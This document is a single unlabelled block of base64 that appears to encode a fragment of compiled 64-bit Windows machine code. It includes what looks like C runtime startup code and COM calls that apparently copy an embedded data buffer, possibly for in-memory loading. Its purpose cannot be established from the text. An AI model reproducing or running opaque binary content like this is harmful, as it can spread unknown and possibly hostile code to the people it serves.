qgEASIsB/1AYhcB5CUiNDS+qAQDry0iLTVBIjVVASIsB/1BQhcB5CUiNDXSqAQDrsEQ5fUB1EUiNDdWqAQDoFP7//+npAQAASItNUEyNTVhMjQVsrgEASI0Vpa4BAEiLAf9QSIXAeQxIjQ0EqwEA6W3///9Ii01YSIsB/1BQhcB5DEiNDVqrAQDpU////0iLTdhIhcl0BkiLAf9QEEiLTVhIjVXYTIl92EiLAf9QaIXAeQxIjQ15qwEA6SL///9Ii13YSIXbD4R0AgAASItN0EiFyXQGSIsB/1AQTIl90EyNRdBIiwNIjRXGrQEASIvL/xCFwHkMSI0NpqsBAOnf/v//uREAAABIx0XoAEAAAEyNRehBi9b/Fb8qAQBIi8hMi/D/FasqAQBJi04QSI0VsOEBAEG4gAAAAEGLwA8QAg8RAQ8QShAPEUkQDxBCIA8RQSAPEEowDxFJMA8QQkAPEUFADxBKUA8RSVAPEEJgDxFBYEkDyA8QSnBJA9APEUnwSIPoAXW2SYvO/xU8KgEASItd0EiF2w+ErwEAAEiLTchIhcl0BkiLAf9QEEyJfchMjUXISIsDSYvWSIvL/5BoAQAAhcB5DEiNDTarAQDpD/7//0iLXchIhdsPhHcBAABIi03ASIXJdAZIiwH/UBBMiX3ATI1FwEiLA0iLy0iLF/+QiAAAAIXAeQxIjQ1TqwEA6cz9//9Ii03ASIlN8EiFyXQGSIsB/1AISI1N8OgyAQAASItN4EiFyXQKSIsB/1AQTIl94EiLTVBIhcl0CkiLAf9QEEyJfVBIi01YSIXJdApIiwH/UBBMiX1YSItNwEiFyXQGSIsB/1AQg8v/i8PwD8FHEAPDdS5Iiw9Ihcl0Cf8VXikBAEyJP0iLTwhIhcl0Ceg9AwAATIl/CEmL1EiLz+guAwAASItNyEiFyXQGSIsB/1AQi8PwD8FGEAPDdS5Iiw5Ihcl0Cf8VFikBAEyJPkiLTghIhcl0Cej1AgAATIl+CEmL1EiLzujmAgAASItN0EiFyXQGSIsB/1AQSItN2EiFyXQGSIsB/1AQSIPEYEFfQV5BXF9eW13DuQ4AB4DoDxMAAMy5DgAHgOgEEwAAzLkDQACA6PkSAADMuQNAAIDo7hIAAMy5A0AAgOjjEgAAzMzMSIvETIlAGEiJUBBIiUgIVVNWV0FXSI1ooUiB7LAAAABIx0UP/v///0iL+UG/GAAAAEGLz+gLAgAASIvYSIlFb0GNd+lIhcB0KEiDYAgAiXAQSI0NKKoBAP8VOigBAEiJA0iFwHUNuQ4AB4DocBIAAMwz20iJXW9Ihdt1C7kOAAeA6FoSAACQuAgAAABmiUX3SI0NyakBAP8V+ycBAEiJRf9IhcB1C7kOAAeA6DASAACQSI1N3/8VzScBAJBIjU3H/xXCJwEAkLkMAAAARIvGM9L/FYknAQBIi/CDZXcATI1F90iNVXdIi8j/FWknAQCFwHkQSI0NpqkBAIvQ6PP5///rcQ8QRccPKUUX8g8QTdfyDxFNJ0iLD0iFyXULuQNAAIDouREAAMxIiwFIjVXfSIlUJDBIiXQkKEiNVRdIiVQkIEUzyUG4GAEAAEiLE/+QyAEAAIXAeQlIjQ2hqQEA65lIi03n6Ir5//9Ii87/Fd0mAQCQSI1Nx/8VAicBAJBIjU3f/xX3JgEAkEiNTff/FewmAQCQg8j/8A/BQxCD+AF1MUiLC0iFyXQK/xXgJgEASIMjAEiLSwhIhcl0Cui+AAAASINjCABJi9dIi8vorgAAAJBIiw9Ihcl0BkiLAf9QEEiBxLAAAABBX19eW13DzEiD7ChIiwlIhcl0BkiLAf9QEEiDxCjDzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAEg7DfnTAQDydRJIwcEQZvfB///ydQLyw0jByRDpBwQAAMzMzEBTSIPsIEiL2eshSIvL6B1aAACFwHUSSIP7/3UH6H4HAADrBehXBwAASIvL6HNaAABIhcB01UiDxCBbw+krBgAAzMzMSIPsKIXSdDmD6gF0KIPqAXQWg/oBdAq4AQAAAEiDxCjD6BoIAADrBejrBwAAD7bASIPEKMNJi9BIg8Qo6Q8AAABNhcAPlcFIg8Qo6SwBAABIiVwkCEiJdCQQSIl8JCBBVkiD7CBIi/JMi/EzyeiOCAAAhMB1BzPA6egAAADoDgcAAIrYiEQkQEC3AYM91iICAAB0CrkHAAAA6MoLAADHBcAiAgABAAAA6FMHAACEwHRn6PoMAABIjQ0/DQAA6JIKAADoUQsAAEiNDVoLAADogQoAAOhkCwAASI0VmSUBAEiNDXIlAQDo9VkAAIXAdSno2AYAAITAdCBIjRVRJQEASI0NOiUBAOhdWQAAxwVTIgIAAgAAAEAy/4rL6JUJAABAhP8PhU7////oKwsAAEiL2EiDOAB0JEiLyOjaCAAAhMB0GEiLG0iLy+j7DAAATIvGugIAAABJi87/0/8FiBwCALgBAAAASItcJDBIi3QkOEiLfCRISIPEIEFew8xIiVwkCEiJdCQYV0iD7CBAivGLBVQcAgAz24XAfwQzwOtQ/8iJBUIcAgDo5QUAAECK+IhEJDiDPa8hAgACdAq5BwAAAOijCgAA6PIGAACJHZghAgDoFwcAAECKz+jXCAAAM9JAis7o8QgAAITAD5XDi8NIi1wkMEiLdCRASIPEIF/DzMxIi8RIiVggTIlAGIlQEEiJSAhWV0FWSIPsQEmL8Iv6TIvxhdJ1DzkVvBsCAH8HM8DpsgAAAI1C/4P4AXcq6LYAAACL2IlEJDCFwA+EjQAAAEyLxovXSYvO6KP9//+L2IlEJDCFwHR2TIvGi9dJi87oNPH//4vYiUQkMIP/AXUrhcB1J0yLxjPSSYvO6Bjx//9Mi8Yz0kmLzuhj/f//TIvGM9JJi87oTgAAAIX/dAWD/wN1KkyLxovXSYvO6ED9//+L2IlEJDCFwHQTTIvGi9dJi87oIQAAAIvYiUQkMOsGM9uJXCQwi8NIi1wkeEiDxEBBXl9ew8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSIsdpSMBAEmL+IvySIvpSIXbdQWNQwHrEkiLy+gbCwAATIvHi9ZIi83/00iLXCQwSItsJDhIi3QkQEiDxCBfw0iJXCQISIl0JBBXSIPsIEmL+IvaSIvxg/oBdQXo/wcAAEyLx4vTSIvOSItcJDBIi3QkOEiDxCBf6Xf+///MzMxAU0iD7CBIi9kzyf8VYyABAEiLy/8VUiABAP8VXCABAEiLyLoJBADASIPEIFtI/yVQIAEASIlMJAhIg+w4uRcAAADoEw4BAIXAdAe5AgAAAM0pSI0NsxoCAOjKAQAASItEJDhIiQWaGwIASI1EJDhIg8AISIkFKhsCAEiLBYMbAgBIiQX0GQIASItEJEBIiQX4GgIAxwXOGQIACQQAwMcFyBkCAAEAAADHBdIZAgABAAAAuAgAAABIa8AASI0NyhkCAEjHBAECAAAAuAgAAABIa8AASIsNMs8BAEiJTAQguAgAAABIa8ABSIsNJc8BAEiJTAQgSI0NOSIBAOgA////SIPEOMPMzMxIg+wouQgAAADoBgAAAEiDxCjDzIlMJAhIg+wouRcAAADoLA0BAIXAdAiLRCQwi8jNKUiNDcsZAgDocgAAAEiLRCQoSIkFshoCAEiNRCQoSIPACEiJBUIaAgBIiwWbGgIASIkFDBkCAMcF8hgCAAkEAMDHBewYAgABAAAAxwX2GAIAAQAAALgIAAAASGvAAEiNDe4YAgCLVCQwSIkUAUiNDYchAQDoTv7//0iDxCjDzEiJXCQgV0iD7EBIi9n/FYkeAQBIi7v4AAAASI1UJFBIi89FM8D/FXkeAQBIhcB0MkiDZCQ4AEiNTCRYSItUJFBMi8hIiUwkMEyLx0iNTCRgSIlMJCgzyUiJXCQg/xVKHgEASItcJGhIg8RAX8PMzMxAU1ZXSIPsQEiL2f8VGx4BAEiLs/gAAAAz/0UzwEiNVCRgSIvO/xUJHgEASIXAdDlIg2QkOABIjUwkaEiLVCRgTIvISIlMJDBMi8ZIjUwkcEiJTCQoM8lIiVwkIP8V2h0BAP/Hg/8CfLFIg8RAX15bw8zMzOn/VAAAzMzMQFNIg+wgSIvZSIvCSI0NlSABAEiJC0iNUwgzyUiJCkiJSghIjUgI6IAPAABIjQWlIAEASIkDSIvDSIPEIFvDzDPASIlBEEiNBZsgAQBIiUEISI0FgCABAEiJAUiLwcPMQFNIg+wgSIvZSIvCSI0NNSABAEiJC0iNUwgzyUiJCkiJSghIjUgI6CAPAABIjQVtIAEASIkDSIvDSIPEIFvDzDPASIlBEEiNBWMgAQBIiUEISI0FSCABAEiJAUiLwcPMQFNIg+wgSIvZSIvCSI0N1R8BAEiJC0iNUwgzyUiJCkiJSghIjUgI6MAOAABIi8NIg8QgW8PMzMxIjQWpHwEASIkBSIPBCOkxDwAAzEiD7EhIjUwkIOgm////SI0VZ7kBAEiNTCQg6DkPAADMSIPsSEiNTCQg6Gb///9IjRXPuQEASI1MJCDoGQ8AAMxIg3kIAEiNBWAfAQBID0VBCMPMzEiD7CjoswgAAIXAdCFlSIsEJTAAAABIi0gI6wVIO8h0FDPA8EgPsQ20GwIAde4ywEiDxCjDsAHr98zMzEiD7CjodwgAAIXAdAfongYAAOsZ6F8IAACLyOhoWQAAhcB0BDLA6wfo71wAALABSIPEKMNIg+woM8noQQEAAITAD5XASIPEKMPMzMxIg+wo6H8PAACEwHUEMsDrEuiaYgAAhMB1B+h9DwAA6+ywAUiDxCjDSIPsKOiTYgAA6GYPAACwAUiDxCjDzMzMSIlcJAhIiWwkEEiJdCQYV0iD7CBJi/lJi/CL2kiL6ejQBwAAhcB1F4P7AXUSSIvP6LsFAABMi8Yz0kiLzf/XSItUJFiLTCRQSItcJDBIi2wkOEiLdCRASIPEIF/pe1IAAMzMzEiD7CjohwcAAIXAdBBIjQ2oGgIASIPEKOnfXwAA6E5WAACFwHUF6ClWAABIg8Qow0iD7CgzyegJYgAASIPEKOnoDgAAQFNIg+wgD7YFmxoCAIXJuwEAAAAPRMOIBYsaAgDoWgUAAOhFDgAAhMB1BDLA6xTogGEAAITAdQkzyeiJDgAA6+qKw0iDxCBbw8zMzEiJXCQIVUiL7EiD7ECL2YP5AQ+HpgAAAOjjBgAAhcB0K4XbdSdIjQ0AGgIA6HdfAACFwHQEMsDrekiNDQQaAgDoY18AAIXAD5TA62dIixX5yQEASYPI/4vCuUAAAACD4D8ryLABSdPITDPCTIlF4EyJRegPEEXgTIlF8PIPEE3wDxEFpRkCAEyJReBMiUXoDxBF4EyJRfDyDxENnRkCAPIPEE3wDxEFmRkCAPIPEQ2hGQIASItcJFBIg8RAXcO5BQAAAOhUAgAAzMzMzEiD7BhMi8G4TVoAAGY5BW3Z//91eUhjBaDZ//9IjRVd2f//SI0MEIE5UEUAAHVfuAsCAABmOUEYdVRMK8IPt0EUSI1RGEgD0A+3QQZIjQyATI0MykiJFCRJO9F0GItKDEw7wXIKi0IIA8FMO8ByCEiDwijr3zPSSIXSdQQywOsUg3okAH0EMsDrCrAB6wYywOsCMsBIg8QYw8zMzEBTSIPsIIrZ6IsFAAAz0oXAdAuE23UHSIcVnhgCAEiDxCBbw0BTSIPsIIA9wxgCAACK2XQEhNJ1DorL6PhfAACKy+jNDAAAsAFIg8QgW8PMQFNIg+wgSIsVh8gBAEiL2YvKSDMVWxgCAIPhP0jTykiD+v91CkiLy+h3XQAA6w9Ii9NIjQ07GAIA6PJdAAAzyYXASA9Ey0iLwUiDxCBbw8xIg+wo6Kf///9I99gbwPfY/8hIg8Qow8xIiVwkIFVIi+xIg+wgSINlGABIuzKi3y2ZKwAASIsFCcgBAEg7w3VvSI1NGP8VmhgBAEiLRRhIiUUQ/xWEGAEAi8BIMUUQ/xVwGAEAi8BIjU0gSDFFEP8VWBgBAItFIEiNTRBIweAgSDNFIEgzRRBIM8FIuf///////wAASCPBSLkzot8tmSsAAEg7w0gPRMFIiQWVxwEASItcJEhI99BIiQWOxwEASIPEIF3DSI0NmRcCAEj/JRoYAQDMzEiNDYkXAgDp7AsAAEiNBY0XAgDDSIPsKOgf7P//SIMIBOjm////SIMIAkiDxCjDzEiNBWEjAgDDgyVpFwIAAMNIiVwkCFVIjawkQPv//0iB7MAFAACL2bkXAAAA6F0FAQCFwHQEi8vNKYMlOBcCAABIjU3wM9JBuNAEAADovwsAAEiNTfD/FS0XAQBIi53oAAAASI2V2AQAAEiLy0UzwP8VGxcBAEiFwHQ8SINkJDgASI2N4AQAAEiLldgEAABMi8hIiUwkMEyLw0iNjegEAABIiUwkKEiNTfBIiUwkIDPJ/xXiFgEASIuFyAQAAEiNTCRQSImF6AAAADPSSI2FyAQAAEG4mAAAAEiDwAhIiYWIAAAA6CgLAABIi4XIBAAASIlEJGDHRCRQFQAAQMdEJFQBAAAA/xXmFgEAg/gBSI1EJFBIiUQkQEiNRfAPlMNIiUQkSDPJ/xV9FgEASI1MJED/FWoWAQCFwHUK9tsbwCEFNBYCAEiLnCTQBQAASIHEwAUAAF3DzMzMSIlcJAhIiXQkEFdIg+wgSI0dAqIBAEiNNfuhAQDrFkiLO0iF/3QKSIvP6GkAAAD/10iDwwhIO95y5UiLXCQwSIt0JDhIg8QgX8PMzEiJXCQISIl0JBBXSIPsIEiNHcahAQBIjTW/oQEA6xZIiztIhf90CkiLz+gdAAAA/9dIg8MISDvecuVIi1wkMEiLdCQ4SIPEIF/DzMxI/yXhFwEAzEBTSIPsIEiNBQMZAQBIi9lIiQH2wgF0CroYAAAA6Ibx//9Ii8NIg8QgW8PMSIlcJBBIiXwkGFVIi+xIg+wgg2XoADPJM8DHBRTFAQACAAAAD6JEi8HHBQHFAQABAAAAgfFjQU1ERIvKRIvSQYHxZW50aUGB8mluZUlBgfBudGVsRQvQRIvbRIsF9xQCAEGB80F1dGhFC9mL00QL2YHyR2VudTPJi/hEC9K4AQAAAA+iiUXwRIvJRIlN+IvIiV30iVX8RYXSdVJIgw2ZxAEA/0GDyAQl8D//D0SJBaUUAgA9wAYBAHQoPWAGAgB0IT1wBgIAdBoFsPn8/4P4IHcbSLsBAAEAAQAAAEgPo8NzC0GDyAFEiQVrFAIARYXbdRmB4QAP8A+B+QAPYAByC0GDyAREiQVNFAIAuAcAAACJVeBEiU3kO/h8JDPJD6KJRfCJXfSJTfiJVfyJXegPuuMJcwtBg8gCRIkFGRQCAEEPuuEUc27HBeTDAQACAAAAxwXewwEABgAAAEEPuuEbc1NBD7rhHHNMM8kPAdBIweIgSAvQSIlVEEiLRRAkBjwGdTKLBbDDAQCDyAjHBZ/DAQADAAAA9kXoIIkFmcMBAHQTg8ggxwWGwwEABQAAAIkFhMMBAEiLXCQ4M8BIi3wkQEiDxCBdw8zMuAEAAADDzMwzwDkFZB8CAA+VwMNIiVwkCFdIg+wgSIsdX8MBAIv5SIvL6NX9//8z0ovPSIvDSItcJDBIg8QgX0j/4MxIiUwkCFVXQVZIg+xQSI1sJDBIiV1ISIl1UEiLBe/CAQBIM8VIiUUYSIvxSIXJdQczwOlUAQAASIPL/w8fRAAASP/DgDwZAHX3SP/DSIldEEiB+////392C7lXAAeA6G3////MM8CJRCQoSIlEJCBEi8tMi8Ez0jPJ/xVhEwEATGPwRIl1AIXAdRr/FUgTAQCFwH4ID7fADQAAB4CLyOgt////kEGB/gAQAAB9L0mLxkgDwEiNSA9IO8h3Cki58P///////w9Ig+HwSIvB6D4BAQBIK+FIjXwkMOsOSYvOSAPJ6PFIAABIi/hIiX0I6xIz/0iJfQhIi3VASItdEESLdQBIhf91C7kOAAeA6L/+///MRIl0JChIiXwkIESLy0yLxjPSM8n/FbQSAQCFwHUrQYH+ABAAAHwISIvP6GNJAAD/FZESAQCFwH4ID7fADQAAB4CLyOh2/v//zEiLz/8VJBQBAEiL2EGB/gAQAAB8CEiLz+gsSQAASIXbdQu5DgAHgOhJ/v//zEiLw0iLTRhIM83oee3//0iLXUhIi3VQSI1lIEFeX13DzMzMzMzMzMxIiXQkEFdIg+wgSI0FHxUBAEiL+UiJAYtCCIlBCEiLQhBIiUEQSIvwSMdBGAAAAABIhcB0HkiLAEiJXCQwSItYCEiLy+jH+///SIvO/9NIi1wkMEiLx0iLdCQ4SIPEIF/DzMzMzMzMzMzMzMzMzMzMSIl0JBBXSIPsIIlRCEiNBawUAQBIiQFJi/BMiUEQSIv5SMdBGAAAAABNhcB0I0WEyXQeSYsASIlcJDBIi1gISIvL6Fn7//9Ii87/00iLXCQwSIvHSIt0JDhIg8QgX8PMSIPsKEiJdCQ4SI0FUBQBAEiLcRBIiXwkIEiL+UiJAUiF9nQeSIsGSIlcJDBIi1gQSIvL6Aj7//9Ii87/00iLXCQwSItPGEiLfCQgSIt0JDhIhcl0C0iDxChI/yUQEQEASIPEKMPMzMzMzMzMzMzMzEiJXCQIV0iD7CCL2kiL+eh8////9sMBdA26IAAAAEiLz+ha7P//SIvHSItcJDBIg8QgX8PMzMzMzMzMzMzMzMxIg+xITIvCRTPJi9FIjUwkIOja/v//SI0V060BAEiNTCQg6LUCAADMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsQE2LYQhIi+lNizlJi8hJi1k4TSv8TYvxSYv4TIvq6A4NAAD2RQRmD4XgAAAAQYt2SEiJbCQwSIl8JDg7Mw+DegEAAIv+SAP/i0T7BEw7+A+CqgAAAItE+whMO/gPg50AAACDfPsQAA+EkgAAAIN8+wwBdBeLRPsMSI1MJDBJA8RJi9X/0IXAeH1+dIF9AGNzbeB1KEiDPYkeAQAAdB5IjQ2AHgEA6KP+AACFwHQOugEAAABIi83/FWkeAQCLTPsQQbgBAAAASQPMSYvV6CwMAABJi0ZATIvFi1T7EEmLzUSLTQBJA9RIiUQkKEmLRihIiUQkIP8Viw8BAOguDAAA/8bpNf///zPA6bUAAABJi3YgQYt+SEkr9OmWAAAAi89IA8mLRMsETDv4D4KCAAAAi0TLCEw7+HN5RItVBEGD4iB0REUzyYXSdDhFi8FNA8BCi0TDBEg78HIgQotEwwhIO/BzFotEyxBCOUTDEHULi0TLDEI5RMMMdAhB/8FEO8pyyEQ7ynU3i0TLEIXAdAxIO/B1HkWF0nUl6xeNRwFJi9VBiUZIRItEywyxAU0DxEH/0P/HixM7+g+CYP///7gBAAAATI1cJEBJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DzEiJXCQISIl0JBBIiXwkGEFWSIPsIIB5CABMi/JIi/F0TEiLAUiFwHRESIPP/0j/x4A8OAB190iNTwHoRUQAAEiL2EiFwHQcTIsGSI1XAUiLyOgGVQAASIvDQcZGCAFJiQYz20iLy+jlRAAA6wpIiwFIiQLGQggASItcJDBIi3QkOEiLfCRASIPEIEFew8zMzEBTSIPsIIB5CABIi9l0CEiLCeipRAAAxkMIAEiDIwBIg8QgW8PMzMxIiVwkEEiJdCQYVVdBVkiL7EiD7GAPKAXIEAEASIvyDygNzhABAEyL8Q8pRcAPKAXQEAEADylN0A8oDdUQAQAPKUXgDylN8EiF0nQi9gIQdB1IizlIi0f4SItYQEiLcDBIi8voTPf//0iNT/j/00iNVSBMiXXoSIvOSIl18P8VcQ0BAEiJRSBIi9BIiUX4SIX2dBv2Bgi5AECZAXQFiU3g6wyLReBIhdIPRMGJReBEi0XYTI1N4ItVxItNwP8VOg0BAEyNXCRgSYtbKEmLczBJi+NBXl9dw8xIg+wo6BMQAADogg8AAOhZCwAAhMB1BDLA6xLo6AoAAITAdQfoiwsAAOvssAFIg8Qow8zMSIPsKOgTCgAASIXAD5XASIPEKMNIg+woM8nokQkAALABSIPEKMPMzEiD7CiEyXUR6N8KAADoRgsAADPJ6GcPAACwAUiDxCjDSIPsKOjDCgAAsAFIg8Qow0g7ynQZSIPCCUiNQQlIK9CKCDoMEHUKSP/AhMl18jPAwxvAg8gBw8xAU0iD7CD/FWwMAQBIhcB0E0iLGEiLyOhcUwAASIvDSIXbde1Ig8QgW8PMzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABMi9kPttJJuQEBAQEBAQEBTA+vykmD+BAPhgIBAABmSQ9uwWYPYMBJgfiAAAAAD4Z8AAAAD7olMAsCAAFzIovCSIvXSIv5SYvI86pIi/pJi8PDZmZmZmZmDx+EAAAAAAAPEQFMA8FIg8EQSIPh8EwrwU2LyEnB6Qd0NmYPH0QAAA8pAQ8pQRBIgcGAAAAADylBoA8pQbBJ/8kPKUHADylB0A8pQeBmDylB8HXUSYPgf02LyEnB6QR0Ew8fgAAAAAAPEQFIg8EQSf/JdfRJg+APdAZBDxFECPBJi8PDHjYAABs2AABHNgAAFzYAACQ2AAA0NgAARDYAABQ2AABMNgAAKDYAAGA2AABQNgAAIDYAADA2AABANgAAEDYAAGg2AABJi9FMjQ0Gyv//Q4uEgaw1AABMA8hJA8hJi8NB/+FmkEiJUfGJUflmiVH9iFH/w5BIiVH0iVH8w0iJUfeIUf/DSIlR84lR+4hR/8MPH0QAAEiJUfKJUfpmiVH+w0iJEMNIiRBmiVAIiFAKww8fRAAASIkQZolQCMNIiRBIiVAIw0iJXCQISIlsJBBIiXQkGFdIg+wgSIvySIvRSIvO6HISAACLfgyL6DPb6yT/z+hmBwAASI0Uv0iLQGBIjQyQSGNGEEgDwTtoBH4FO2gIfgeF/3XYSIvDSItsJDhIhcBIi3QkQA+Vw4vDSItcJDBIg8QgX8PMSIlcJBBIiWwkGFZXQVRBVkFXSIPsIEGLeAxMi+FJi8hJi/FNi/BMi/ro8hEAAE2LFCSL6EyJFoX/dHRJY0YQ/89IjRS/SI0ckEkDXwg7awR+5TtrCH/gSYsPSI1UJFBFM8D/FQQJAQBMY0MQM8lMA0QkUESLSwxEixBFhcl0F0mNUAxIYwJJO8J0C//BSIPCFEE7yXLtQTvJc5xJiwQkSI0MiUljTIgQSIsMAUiJDkiLXCRYSIvGSItsJGBIg8QgQV9BXkFcX17DzMzMSIvESIlYCEiJaBBIiXAYSIl4IEFUQVZBV0iD7CCLcgxIi/pIi2wkcEiLz0iL1UWL4TPb6BwRAABEi9iF9g+E4AAAAEyLVCRoi9ZMi0QkYEGDCv9Bgwj/TIt1CExjfxBEjUr/S40MiUmNBI5GO1w4BH4HRjtcOAh+CEGL0UWFyXXehdJ0Do1C/0iNBIBJjRyHSQPeM9KF9nR+RTPJSGNPEEgDTQhJA8lIhdt0D4tDBDkBfiKLQwg5QQR/GkQ7IXwVRDthBH8PQYM4/3UDQYkQjUIBQYkC/8JJg8EUO9ZyvUGDOP90MkGLAEiNDIBIY0cQSI0EiEgDRQhIi1wkQEiLbCRISIt0JFBIi3wkWEiDxCBBX0FeQVzDQYMgAEGDIgAzwOvV6KBOAADMzMzMSIlcJAhIiWwkEFZXQVZIg+wgTI1MJFBJi/hIi+ro5v3//0iL1UiLz0yL8Oj4DwAAi18Mi/DrJP/L6O4EAABIjRSbSItAYEiNDJBIY0cQSAPBO3AEfgU7cAh+BoXbddgzwEiFwHUGQYPJ/+sERItIBEyLx0iL1UmLzujGHwAASItcJEBIi2wkSEiDxCBBXl9ew8zMzEiJXCQISIlsJBBIiXQkGFdIg+xASYvxSYvoSIvaSIv56HMEAABIiVhwSIsf6GcEAABIi1M4TIvGSItMJHgz20yLTCRwx0QkOAEAAABIiVBoSIvVSIlcJDCJXCQoSIlMJCBIiw/o2yAAAOgqBAAASIuMJIAAAABIi2wkWEiLdCRgSIlYcI1DAUiLXCRQxwEBAAAASIPEQF/DSIvETIlIIEyJQBhIiVAQSIlICFNXSIPsaEiL+YNgyABIiUjQTIlA2OjTAwAASItYEEiLy+hv8P//SI1UJEiLD//Tx0QkQAAAAADrAItEJEBIg8RoX1vDzEBTSIPsIEiL2UiJEeiXAwAASDtYWHML6IwDAABIi0hY6wIzyUiJSwjoewMAAEiJWFhIi8NIg8QgW8PMzEiJXCQIV0iD7CBIi/noWgMAAEg7eFh1OehPAwAASItYWOsJSDv7dAtIi1sISIXbdfLrGOg0AwAASItLCEiLXCQwSIlIWEiDxCBfw+iMTAAAzOiGTAAAzMxIg+wo6AsDAABIi0BgSIPEKMPMzEiD7Cjo9wIAAEiLQGhIg8Qow8zMQFNIg+wgSIvZ6N4CAABIi1BY6wlIORp0EkiLUghIhdJ18o1CAUiDxCBbwzPA6/bMQFNIg+wgSIvZ6K4CAABIiVhgSIPEIFvDQFNIg+wgSIvZ6JYCAABIiVhoSIPEIFvDQFVIjawkUPv//0iB7LAFAABIiwVstAEASDPESImFoAQAAEyLlfgEAABIjQV0CAEADxAATIvZSI1MJDAPEEgQDxEBDxBAIA8RSRAPEEgwDxFBIA8QQEAPEUkwDxBIUA8RQUAPEEBgDxFJUA8QiIAAAAAPEUFgDxBAcEiLgJAAAAAPEUFwDxGJgAAAAEiJgZAAAABIjQXTGgAASYsLSIlEJFBIi4XgBAAASIlEJGBIY4XoBAAASIlEJGhIi4XwBAAASIlEJHgPtoUABQAASIlFiEmLQkBIiUQkKEiNRdBMiUwkWEUzyUyJRCRwTI1EJDBIiVWASYsSSIlEJCBIx0WQIAWTGf8VYwQBAEiLjaAEAABIM8zobN///0iBxLAFAABdw8zMzEiJXCQQSIl0JBhXSIPsQEmL2UiJVCRQSYv4SIvx6EYBAABIi1MISIlQYOg5AQAASItWOEiJUGjoLAEAAEiLSzhMi8tMi8eLEUiLzkgDUGAzwIlEJDhIiUQkMIlEJChIiVQkIEiNVCRQ6KcdAABIi1wkWEiLdCRgSIPEQF/DzMzMzMzMzMzMZmYPH4QAAAAAAEiB7NgEAABNM8BNM8lIiWQkIEyJRCQo6AjxAABIgcTYBAAAw8zMzMzMzGYPH0QAAEiJTCQISIlUJBhEiUQkEEnHwSAFkxnrCMzMzMzMzGaQw8zMzMzMzGYPH4QAAAAAAMPMzMzCAADMSIPsKEiFyXQRSI0FmAICAEg7yHQF6E5KAABIg8Qow8xAU0iD7CBIi9mLDYmyAQCD+f90M0iF23UO6FoEAACLDXSyAQBIi9gz0uieBAAASIXbdBRIjQVOAgIASDvYdAhIi8voAUoAAEiDxCBbw8zMzEiD7CjoEwAAAEiFwHQFSIPEKMPogEoAAMzMzMxIiVwkCEiJdCQQV0iD7CCDPRayAQD/dQczwOmJAAAA/xV/AgEAiw0BsgEAi/jo2gMAAEiDyv8z9kg7wnRgSIXAdAVIi/DrVosN37EBAOgOBAAAhcB0R7p4AAAAjUqJ6HFKAACLDcOxAQBIi9hIhcB0EkiL0OjnAwAAhcB1D4sNqbEBADPS6NYDAADrCUiLy0iL3kiL8UiLy+g/SQAAi8//FT8CAQBIi8ZIi1wkMEiLdCQ4SIPEIF/DSIPsKEiNDbH+///onAIAAIkFXrEBAIP4/3UEMsDrG0iNFT4BAgCLyOh7AwAAhcB1B+gKAAAA6+OwAUiDxCjDzEiD7CiLDSqxAQCD+f90DOisAgAAgw0ZsQEA/7ABSIPEKMPMzEBTSIPsIDPbSI0VaQECAEUzwEiNDJtIjQzKuqAPAADoiAMAAIXAdBH/BXIBAgD/w4P7AXLTsAHrB+gKAAAAMsBIg8QgW8PMzEBTSIPsIIsdTAECAOsdSI0FGwECAP/LSI0Mm0iNDMj/FXMBAQD/DS0BAgCF23XfsAFIg8QgW8PMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIEUz/0SL8U2L4TPASYvoTI0ND8D//0yL6vBPD7G88RBBAgBMiwX7rwEASIPP/0GLyEmL0IPhP0gz0EjTykg71w+ESAEAAEiF0nQISIvC6T0BAABJO+wPhL4AAACLdQAzwPBND7G88fBAAgBIi9h0Dkg7xw+EjQAAAOmDAAAATYu88bhEAQAz0kmLz0G4AAgAAP8V7gABAEiL2EiFwHQFRTP/6yT/FUMAAQCD+Fd1E0UzwDPSSYvP/xXIAAEASIvY691FM/9Bi99MjQ1Wv///SIXbdQ1Ii8dJh4Tx8EACAOslSIvDSYeE8fBAAgBIhcB0EEiLy/8VewABAEyNDSS///9Ihdt1XUiDxQRJO+wPhUn///9MiwULrwEASYvfSIXbdEpJi9VIi8v/FU8AAQBMiwXwrgEASIXAdDJBi8i6QAAAAIPhPyvRispIi9BI08pIjQ3Pvv//STPQSoeU8RBBAgDrLUyLBbuuAQDrsblAAAAAQYvAg+A/K8hI089IjQ2ivv//STP4Soe88RBBAgAzwEiLXCRQSItsJFhIi3QkYEiDxCBBX0FeQV1BXF/DSIlcJAhXSIPsIEiL+UyNDfQDAQC5BAAAAEyNBeADAQBIjRXhAwEA6Az+//9Ii9hIhcB0D0iLyOjs6P//SIvP/9PrBv8VX/8AAEiLXCQwSIPEIF/DSIlcJAhXSIPsIIvZTI0NuQMBALkFAAAATI0FpQMBAEiNFaYDAQDouf3//0iL+EiFwHQOSIvI6Jno//+Ly//X6wiLy/8VI/8AAEiLXCQwSIPEIF/DSIlcJAhXSIPsIIvZTI0NdQMBALkGAAAATI0FYQMBAEiNFWIDAQDoZf3//0iL+EiFwHQOSIvI6EXo//+Ly//X6wiLy/8Vv/4AAEiLXCQwSIPEIF/DSIlcJAhIiXQkEFdIg+wgSIvaTI0NMwMBAIv5SI0VKgMBALkHAAAATI0FFgMBAOgJ/f//SIvwSIXAdBFIi8jo6ef//0iL04vP/9brC0iL04vP/xVl/gAASItcJDBIi3QkOEiDxCBfw8xIiVwkCEiJbCQQSIl0JBhXSIPsIEGL6EyNDd4CAQCL2kyNBc0CAQBIi/lIjRXLAgEAuQgAAADomfz//0iL8EiFwHQUSIvI6Hnn//9Ei8WL00iLz//W6wuL00iLz/8V2v0AAEiLXCQwSItsJDhIi3QkQEiDxCBfw8xIixWVrAEARTPAi8K5QAAAAIPgP0WLyCvISI0FjP0BAEnTyUiNDcr9AQBMM8pIO8hIG8lI99GD4QlJ/8BMiQhIjUAITDvBdfHDzMzMhMl1OVNIg+wgSI0dMP0BAEiLC0iFyXQQSIP5/3QG/xV8/QAASIMjAEiDwwhIjQUt/QEASDvYddhIg8QgW8PMzEiLFQmsAQC5QAAAAIvCg+A/K8gzwEjTyEgzwkiJBUb9AQDDzMzMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABMi9lMi9JJg/gQD4ZwAAAASYP4IHZKSCvRcw9Ji8JJA8BIO8gPjDYDAA